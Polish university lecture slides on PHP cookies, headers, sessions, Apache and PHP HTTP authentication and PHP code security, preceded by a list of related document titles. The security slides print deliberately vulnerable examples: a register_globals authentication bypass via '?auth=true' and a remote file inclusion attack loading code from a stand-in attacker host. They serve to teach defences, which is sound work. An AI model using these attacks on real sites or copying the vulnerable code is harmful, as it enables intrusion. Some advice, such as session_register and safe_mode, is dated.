Kurs WWW. Paweł Rajba pawel@ii.uni.wroc.pl http://pawel.ii.uni.wroc.pl/



Podobne dokumenty
PHP. i komunikacja klient-serwer PAWEŁ RAJBA

Kontrola sesji w PHP HTTP jest protokołem bezstanowym (ang. stateless) nie utrzymuje stanu między dwoma transakcjami. Kontrola sesji służy do

Kontrola sesji w PHP HTTP jest protokołem bezstanowym (ang. stateless) nie utrzymuje stanu między dwoma transakcjami. Kontrola sesji służy do

INTERNETOWE BAZY DANYCH materiały pomocnicze - wykład VII

Tworzenie witryn internetowych PHP/Java. (mgr inż. Marek Downar)

Programowanie w Internecie

Języki programowania wysokiego poziomu. PHP cz.3. Formularze

Sesje, ciasteczka, wyjątki. Ciasteczka w PHP. Zastosowanie cookies. Sprawdzanie obecności ciasteczka

W poprzednim odcinku poznaliśmy: W poprzednim odcinku, cd.: W dzisiejszym odcinku. Apache serwer WWW (część 2)

Przekazywanie danych. Dane zewnętrzne mogą pochodzić z róŝnych źródeł:

Apache serwer WWW (część 2) Marcin Bieńkowski. Instytut Informatyki Uniwersytet Wrocławski

Rys. 1. Widok uruchomienia polecenia apt-get install build-essential. Rys. 2. Widok uruchomienia polecenia apt-get install apache2

Aplikacje internetowe - laboratorium

Systemy internetowe. Wykład 3 PHP. West Pomeranian University of Technology, Szczecin; Faculty of Computer Science

Internetowe bazy danych

I.Wojnicki, Tech.Inter.

I.Wojnicki, PHP. PHP PHP Hypertext Preprocessor. Igor Wojnicki. Ktedra Informatyki Stosowanej Akademia Górniczo-Hutnicza w Krakowie.

Internetowe bazy danych

Języki skryptowe - PHP. PHP i bazy danych. Paweł Kasprowski. pawel@kasprowski.pl. vl07

TOPIT Załącznik nr 3 Programowanie aplikacji internetowych

Zmienne i stałe w PHP

Systemy internetowe Wykład 3 PHP

Hosting WWW Bezpieczeństwo hostingu WWW. Dr Michał Tanaś (

Programowanie w Sieci Internet Python - c. d. Kraków, 28 listopada 2014 r. mgr Piotr Rytko Wydział Matematyki i Informatyki

Wyrażenie include(sciezka_do_pliku) pozwala na załadowanie (wnętrza) pliku do skryptu php. Plik ten może zawierać wszystko, co może się znaleźć w

Aplikacje WWW - laboratorium

PHP. Tematyka wykładów: Język PHP PHP i bazy danych Rozszerzenia PHP

Dokumentacja interfejsu HTTPD. Platforma BSMS.PL Instrukcja podłączenia po przez http

Serwer WWW Apache. Plik konfiguracyjny httpd.conf Definiujemy m.in.: Aktualne wersje 2.4.6, , zakończony projekt

Protokół HTTP. 1. Protokół HTTP, usługi www, model request-response (żądanie-odpowiedź), przekazywanie argumentów, AJAX.

Technologie internetowe

Zakres tematyczny dotyczący kursu PHP i MySQL - Podstawy pracy z dynamicznymi stronami internetowymi

Smarty PHP. Leksykon kieszonkowy

Serwery aplikacji. dr Radosław Matusik. radmat

Niezbędne narzędzia. Przed rozpoczęciem pracy z PHP należy zainstalować odpowiednie narzędzia: środowisko PHP serwer WWW serwer baz danych MySQL

Ćwiczenie: JavaScript Cookies (3x45 minut)

POLITYKA PRYWATNOŚCI SERWIS:

SMS Kod Automatyczny

PHP - informacje ogólne

Gerard Frankowski, Zespół Bezpieczeństwa PCSS. Nowoczesne technologie bliżej nas Poznań,

Baza danych do przechowywania użytkowników

Wstęp. Ale po co? Implementacja

Zapoznanie się z konfiguracją i zarządzaniem serwerem WWW - Apache.

Polityka prywatności Spółdzielni Mieszkaniowej Słoneczny Stok

Wykład 5: PHP: praca z bazą danych MySQL

Protokół HTTP (2) I) Wprowadzenie. II) Użyte narzędzia: III) Kolejność działań

ZASADY KORZYSTANIA Z PLIKÓW COOKIES ORAZ POLITYKA PRYWATNOŚCI W SERWISIE INTERNETOWYM PawłowskiSPORT.pl

Sesje i logowanie. 1. Wprowadzenie

Sprawozdanie nr 4. Ewa Wojtanowska

PLAN WYNIKOWY PROGRAMOWANIE APLIKACJI INTERNETOWYCH. KL IV TI 6 godziny tygodniowo (6x15 tygodni =90 godzin ),

Programowanie w Sieci Internet Blok 2 - PHP. Kraków, 09 listopada 2012 mgr Piotr Rytko Wydział Matematyki i Informatyki

Krótka instrukcja instalacji

Dokumentacja smsapi wersja 1.4

Dane - pobieranie, przekazywanie i przechowywanie. dr Beata Kuźmińska-Sołśnia

Należy ściągnąć oprogramowanie Apache na platformę

Tomasz Greszata - Koszalin

Serwery WWW. Konfiguracja. Zadania serwera. NCSA httpd 1.5

Linux -- u mnie działa!

The OWASP Foundation Session Management. Sławomir Rozbicki.

Administracja i programowanie pod Microsoft SQL Server 2000

Bezpieczeństwo systemów komputerowych

Tomasz Greszata - Koszalin

BAZY DANYCH. Obsługa bazy z poziomu języka PHP. opracowanie: Michał Lech

Jarosław Kuchta Administrowanie Systemami Komputerowymi. Internetowe Usługi Informacyjne

Cookie Policy. 1. Informacje ogólne.

WINDOWS Instalacja serwera WWW na systemie Windows XP, 7, 8.

Stosowanie ciasteczek (cookies)

SMS Kod Automatyczny

ZPKSoft WDoradca. 1. Wstęp 2. Architektura 3. Instalacja 4. Konfiguracja 5. Jak to działa 6. Licencja

Sklep internetowy wtspartner.pl dokłada wszelkich starań, aby prowadzony serwis ułatwiał każdemu użytkownikowi

(Pluggable Authentication Modules). Wyjaśnienie technologii.

Zarządzanie sesją w aplikacjach Internetowych. Kraków, Paweł Goleń

Plan wykładu. 1. Protokół FTP. 2. Protokół HTTP, usługi www, model request-response (żądanie-odpowiedź), przekazywanie argumentów, AJAX.

Pomoc dla systemu WordPress

System operacyjny Linux

Systemy internetowe. Wykład 5 Architektura WWW. West Pomeranian University of Technology, Szczecin; Faculty of Computer Science

Zadanie1: Odszukaj w serwisie internetowym Wikipedii informacje na temat protokołu http.

Wykorzystywanie plików cookies

II. PRZETWARZANIE DANYCH OSOBOWYCH:

ibok Internetowe Biuro Obsługi Klienta

Programowanie komponentowe. Przykład 1 Bezpieczeństwo wg The Java EE 5 Tutorial Autor: Zofia Kruczkiewicz

Zygmunt Kubiak Instytut Informatyki Politechnika Poznańska

Dokumentacja fillup - MS SQL

Serwis realizuje funkcje pozyskiwania informacji o użytkownikach i ich zachowaniach w następujący sposób:

Cemarol Sp. z o.o. Polityka prywatności (pliki cookies) 1. Informacje ogólne.

Polityka prywatności serwisu

Bazy Danych i Usługi Sieciowe

KORZYSTANIE Z BAZY DANYCH UpToDate

Wykład 3 Inżynieria oprogramowania. Przykład 1 Bezpieczeństwo(2) wg The Java EE 5 Tutorial Autor: Zofia Kruczkiewicz

Wybrane działy Informatyki Stosowanej

Instrukcja użytkownika

Kontrola dostępu w ASP.NET

Zagrożenia trywialne. Zagrożenia bezpieczeństwa aplikacji internetowych. Parametry ukryte. Modyfikowanie parametrów wywołania

Ciasteczka. Krishna Tateneni Jost Schenck Polskie tłumaczenie: Suse Polska Aktualny opiekun tłumaczenia: Marcin Kocur

System operacyjny Linux

POLITYKA PRYWATNOŚCI ORAZ POLITYKA PLIKÓW COOKIES W Sowa finanse

Dokumentacja SMS przez FTP

Projektowani Systemów Inf.

Polityka prywatności dla strony ELCEN Sp. z o.o. z siedzibą w Gdyni

Transkrypt:

Kurs WWW Paweł Rajba Paweł Rajba pawel@ii.uni.wroc.pl http://pawel.ii.uni.wroc.pl/

PHP i ciasteczka Co to są ciasteczka (cookie)? Jak to działa? Kwestia buforowania Tablica $_COOKIES[ ]

PHP i ciasteczka int setcookie( string nazwa [, string wartość [, int data_ważności [, string ścieżka [, string domena [, int bezpieczne]]]]]) nazwa nazwa ciasteczka wartość wartość ciasteczka

PHP i ciasteczka data_ważności do kiedy ciasteczko jest aktualne; liczba zwracana przez time() lub mktime() ścieżka specyfikuje URLe w domenie dla których ciastko jest dostępne domena domena dla której ciasteczko będzie dostępne bezpieczne określa, czy ciasteczko powinno być dostępne tylko za pomocą protokołu HTTPS

PHP i ciasteczka Kilka uwag dotyczących funkcji setcookie() niektóre argumenty można pominąć podając napisy puste dwóch ostatnich argumenty w powyższy sposób pominąć nie można ciasteczko może być usunięte tylko z takimi parametrami, z jakimi zostało usunięte ustawione cookie będą widoczne dopiero po przeładowaniu strony

PHP i ciasteczka Kilka uwag... c.d. usunięcie ciasteczka odbywa się przez podanie wstecznej daty ważności przeglądarka uruchamia wtedy mechanizm usunięcia ciastka każda przeglądarka składuje cookies osobno niekiedy przeglądarki różnie obsługują cookies

PHP i ciasteczka Tablicowa obsługa ciasteczek setcookie ("cookie[three]", "cookiethree"); setcookie ("cookie[two]", "cookietwo"); setcookie ("cookie[one]", "cookieone"); if (isset($_cookie['cookie'])) { while (list($name, $value)=each($cookie)) { echo "$name == $value<br>\n"; } }

PHP i ciasteczka Przykłady: setcookie ("ciacho", "smaczne",time()+3600, "/~pawel/", ".ii.uni.wroc.pl", 1); ciacho.php odwiedziny.php

PHP i nagłówki HTTP int header(string treść_nagłówka) wysyła nagłówek HTTP przykłady: header("location: http://www.onet.pl/"); $download_size = filesize($file_server_path); header("content-type: application/x-download"); header("content-disposition: attachment; filename=$file_download_name;"); header("accept-ranges: bytes"); header("content-length: $download_size"); @readfile($file_server_path);

PHP i nagłówki HTTP array headers_list (void) lista nagłówków do wysłania bool headers_sent (void) sprawdza, czy nagłówki zostały już wysłane

PHP buforowanie bool ob_start ( [callback output_callback]) rozpoczęcie buforowania bool ob_end_clean ( void ) kończy buforowanie i czyści bufor wyjściowy bool ob_end_flush ( void ) kończy buforowanie i wypisuje zawartość void ob_clean ( void ) czyści bufor wyjściowy

PHP buforowanie string ob_get_clean (void) zwraca aktualną zawartość bufora i czyści bufor string ob_get_flush(void) wypisuje zawartość bufora zwraca go jako napis kończy buforowanie int ob_get_length(void) zwraca rozmiar bufora wyjściowego

PHP buforowanie Przykład: bufory.php

PHP i sesje - wprowadzenie Jak to działa? po co to? stan aplikacji rola klienta i serwera identyfikator sesji (cookie lub zmienna GET)

PHP i sesje - wprowadzenie Utworzenie sesji KLIENT Korzystanie z sesji Klient wysyła żądanie zasobu Serwer odsyła identyfikator nowo utworzonej sesji SERWER Na serwerze tworzona jest nowa sesja KLIENT Klient wysyła żądanie zasobu dołączając identyfikator sesji SERWER Na serwerze odtwarzane są dane sesji

PHP i sesje zestaw funkcji string session_name ([string nazwa]) pobierz i/lub ustaw nazwę dla sesji wywołujemy przed session_start() używana w identyfikatorze sesji (ciastka lub URL, domyślnie PHPSESSID) jeśli chcemy zmienić nazwę, to musimy ją wywoływać na każdej stronie w przeciwnym razie od razu przywracana jest wartość z session.name

PHP i sesje zestaw funkcji string session_id ([string id]) pobierz i/lub ustaw identyfikator sesji jeżeli zmienić identyfikator bieżącej sesji, to musimy wywołać funkcję przed session_start() bool session_start(void) tworzy (lub odtwarza) sesję w oparciu o identyfikator sesji przekazywany przez COOKIE lub parametr w URL. jeżeli używamy sesji opartych o cookies, to session_start() musi być wywołane przed wysłaniem czegokolwiek do przeglądarki

PHP i sesje zestaw funkcji void session_write_close(void) zapisuje dane i kończy sesję void session_commit(void) alias do session_write_close() bool session_destroy(void) niszczy sesję, nie usuwa ciasteczka prosty sposób usunięcia ciastka sesyjnego: setcookie(session_name(),"",0,"/")

PHP i sesje przykład licznik.php

PHP i sesje zestaw funkcji string session_save_path([string ścieżka]) pobierz i/lub ustaw ścieżkę zapisu bieżącej sesji w Foxserv domyślnie: C:\FoxServ\sessiondata bool session_regenerate_id(void) tworzy nowy identyfikator dla sesji (dostępne od PHP 4.3.2)

PHP i sesje zestaw funkcji string session_encode(void ) koduje dane sesji do postaci stringu bool session_decode(string dane) odtwarza dane sesji ze stringu najpierw trzeba użyć session_start void session_set_cookie_params( int czas_życia [, string ścieżka [, string domena]]) ustawia parametry ciastka sesji

PHP i sesje zestaw funkcji array session_get_cookie_params(void) zwraca parametry ciasteczka sesji lifetime czas życia sesji path ścieżka dla sesji domain domena ciasteczka secure ciasteczko może być przesyłane tylko poprzez biezpieczne połączenie

PHP i sesje zmienne (cz. 1) bool session_register(mixed nazwa [, mixed...]) rejestruje zmienną globalną jako zmienną sesji $dilbert = "Fajny komiks"; session_register("dilbert"); bool session_unregister(string nazwa) wyjestruj zmienną z bieżącej sesji

PHP i sesje zmienne (cz. 1) void session_unset(void) zwalnia wszystkie zmienne sesji bool session_is_registered(string nazwa) sprawdza, czy zmienna jest zarejestrowana

PHP i sesje zmienne (cz. 2) Używamy tablicy $_SESSION[ ] (w starszych wersjach $HTTP_SESSION_VARS[ ]) ustanowienie zmiennej sesyjnej $_SESSION["zmienna"] = "a to jej wartosc" usunięcie zmiennej sesyjnej unset($_session["zmienna"]) usunięcie wszystkich zmiennych $_SESSION = array() sprawdzenie, czy zmienna istnieje isset($_session["zmienna"])

PHP i sesje - przykłady Niszczenie sesji (pierwszy sposób) <?php // Jeśli używasz sesion_name("cośtam"), // nie zapomnij o tym teraz! session_start(); session_unset(); session_destroy();?>

PHP i sesje - przykłady Niszczenie sesji (drugi sposób) <?php // Jeśli używasz sesion_name("cośtam"), // nie zapomnij o tym teraz! session_start(); $_SESSION = array(); session_destroy();?>

PHP i sesje Propagowanie identyfikatora w URLu kiedy stosować? stała SID opcja --enable-trans-sid opcja --enable-trans-sid, a wydajność różnica ok. 10% Zapisywanie danych sesji w bazie danych do czego może się to przydać? (personalizacja) funkcje session_encode() i session_decode()

PHP i sesje opcje session.save_path określa, gdzie będą tworzone pliki z danymi sesji domyślnie: C:\FoxServ\sessiondata session.name określa nazwę sesji, która będzie też nazwą ciastka domyślnie PHPSESSID

PHP i sesje opcje session.auto_start określa, czy sesja ma być uruchamiana automatycznie na początku wywołania domyślnie 0 (wyłączone) session.cookie_lifetime określa w sekundach długość życia ciastka sesyjnego 0 oznacza "dopóki przeglądarka nie została zamknięta" domyślnie 0

PHP i sesje opcje session.use_cookies określa, czy identyfikator sesji będzie po stronie klienta pamiętany za pomocą ciastka domyślnie 1 (włączone) session.use_only_cookies określa, czy do pomiętania id sesji mają być wykorzystywane tylko ciastka domyślnie 0 (ze względu na kompatybilność) zwiększa bezpieczeństwo

Kontrola dostępu do danych Terminologia Authentication identyfikacja Authorization czy jest dostęp do zasobu Access Control sterowanie dostępem do zasobu (może zależeć od innych czynników)

Autoryzacja HTTP Rodzaje Basic Digest Główna zaleta Digest hasło nie jest przesyłane jawnym tekstem

Autoryzacja HTTP w Apache'u Najpierw sprawdzamy, czy apache jest skompilowany z modułem mod_auth.c apache.exe -l httpd -l Upewniamy się, że pliku httpd.conf jest wpis AllowOverride All Teraz, możemy utworzyć plik.htaccess w każdym katalogu w którym chcemy sterować prawami dostepu

Autoryzacja HTTP w Apache'u Przykładowa zawartość pliku.htaccess <Files tajne.php supertajne.php> AuthType Basic AuthUserFile /usr/local/apache/users AuthName "Administration Module" Require valid-user // pawel zenek Order allow,deny Allow from swiatowit.ii.uni.wroc.pl Deny from all Satisfy any // all </Files> Pominięcie znacznika Files sprawi, że chroniona będzie cała zawartość katalogu

Autoryzacja HTTP w Apache'u Na końcu tworzymy użytkownika htpasswd -c users pawel htpasswd users john istotne, żeby pliku z użytkownikami nie trzymać w miejscu dostępnym z przeglądarki

Autoryzacja HTTP w Apache'u Podsumowanie wystarcza przy mało wymagającej autoryzacji ograniczenia przy zarządzaniu użytkownikami interfejs przeglądarki wylogowanie poprzez wyłączenie przeglądarki konieczność ingerencji w konfigurację serwera

Autoryzacja HTTP w PHP Kilka uwag na początek: obsługiwana tylko wtedy, gdy PHP działa jako moduł Apache (jako CGI nie działa) obecnie obsługiwana jest tylko autoryzacja typu Basic po wysłaniu nagłówków, użytkownik wpisuje dane użytkownika i hasło, które są przekazywane w zmiennych $_SERVER['PHP_AUTH_USER'] $_SERVER['PHP_AUTH_PW']

Autoryzacja HTTP w PHP Przykład: httpauth.php

Autoryzacja sesje w PHP Etapy dostępu do danych Logowanie pobranie danych użytkownika (login + hasło) weryfikacja odnotowanie faktu weryfikacji w logach rozpoczęcie sesji

Autoryzacja sesje w PHP Etapy dostępu do danych Użycie sesji podtrzymanie sesji ponowna weryfikacja uprawnień Wylogowanie zakończenie sesji odnotowanie faktu w logach usunięcie danych związanych z sesją (ważne)

Autoryzacja sesje w PHP Przykład: login.php i pokaz.php

Autoryzacja sesje w PHP Sprawdzanie hasła: jak w przykładzie na podstawie pliku tekstowego na podstawie bazy danych W miarę możliwości nigdzie nie trzymamy haseł w postaci jawnej

Autoryzacja sesje w PHP Zalety przechowywania haseł w pliku dobre dla obsługi kilku użytkowników łatwa obsługa nie wymagają dodatkowego oprogramowania Zalety przechowywania haseł w bazie danych możliwość obsługi bardzo wielu użytkowników szybszy dostęp lepsze zarządzanie zawartością większe bezpieczeństwo

Autoryzacja sesje w PHP Przesyłanie hasła jawny tekst szyfrogram md5 (obliczany po stronie klienta)

Bezpieczeństwo kodu PHP Opcja register_globals w php.ini jej włączenie powoduje, że wszystkie dane pochodzące od użytkownika są dostępne z poziomu zmiennej (POST, GET, COOKIE,...) powinna być wyłączona (Off) i tak jest domyślnie Przykład (login.php): <?php if ($password == "as3jksj4w") $auth=true; if ($auth) uruchom_tajne_procedury();?>

Bezpieczeństwo kodu PHP A teraz uruchamiamy skrypt login.php?auth=true Przykład: (login.php ulepszony) <?php $auth=false; if ($password == "as3jksj4w") $auth=true; if ($auth) uruchom_tajne_procedury();?>

Bezpieczeństwo kodu PHP Raportowanie błędów error_reporting() podczas pisania skryptów, testowania należy włączyć raportowanie error_reporting(e_all) przy wdrażaniu aplikacji należy wszystkie raportowania bezwzględnie powyłączać error_reporting(0)

Bezpieczeństwo kodu PHP Weryfikacja danych pochodzących od użytkownika sprawdzić należy wszystkie dane w szczególności pod kątem typ danych zawartość długość akceptujemy te tylko dane, których się spodziewaliśmy nigdy nie polegamy na weryfikacji po stronie klienta

Bezpieczeństwo kodu PHP W jaki sposób weryfikować? sprawdzić typy skorzystać z wyrażeń regularnych sprawdzić wielkość sprawdzić zbiór dopuszczalnych wartości...

Bezpieczeństwo kodu PHP Przykład: <?php if (isset($_get["plik"])) include($_get["plik"]);?> i agresor robi tak: skrypt.php?plik=http://agresor.pl/zlosliwy.php

Bezpieczeństwo kodu PHP Wszystkie pliki PHP powinny być przez serwer parsowane jeżeli dajemy rozszerzenie.inc, to musimy się upewnić, że pliki z tym rozszerzeniem są interpretowane Nie należy dawać możliwości oglądnięcia wyniku działania funkcji phpinfo()

Bezpieczeństwo kodu PHP Upload plików należy upewniać się, że upload pliku faktycznie miał miejsce służą do tego funkcje is_uploaded_file() move_uploaded_file()

Bezpieczeństwo kodu PHP Tryb bezpieczny (safe_mode) jeśli możliwe, należy z tego korzystać, chociaż lepiej dobrze skonfigurować serwer WWW skrypt ma dostęp tylko to tych plików których właścicielem jest właściciel skryptu

Bezpieczeństwo kodu PHP Dyrektywy odpowiedzialne za tryb bezpieczny safe_mode = Off safe_mode_gid = 0 safe_mode_include_dir = safe_mode_exec_dir = open_basedir = safe_mode_allowed_env_vars = PHP_ safe_mode_protected_env_vars = LD_LIBRARY_PATH disable_functions =

Bezpieczeństwo kodu PHP Ukrywanie rozszerzeń dodajemy w pliku httpd.conf (ewentualnie.htaccess) AddType application/x-httpd-php.htm.html Ukrywanie hasła do bazy danych (plik httpd.conf) <Directory "C:\Foxserv\www\test"> php_admin_value open_basedir C:\Foxserv\www\test php_admin_value disable_functions a3js8ge4a2 </Directory> <?php echo ini_get("disabled_functions");?>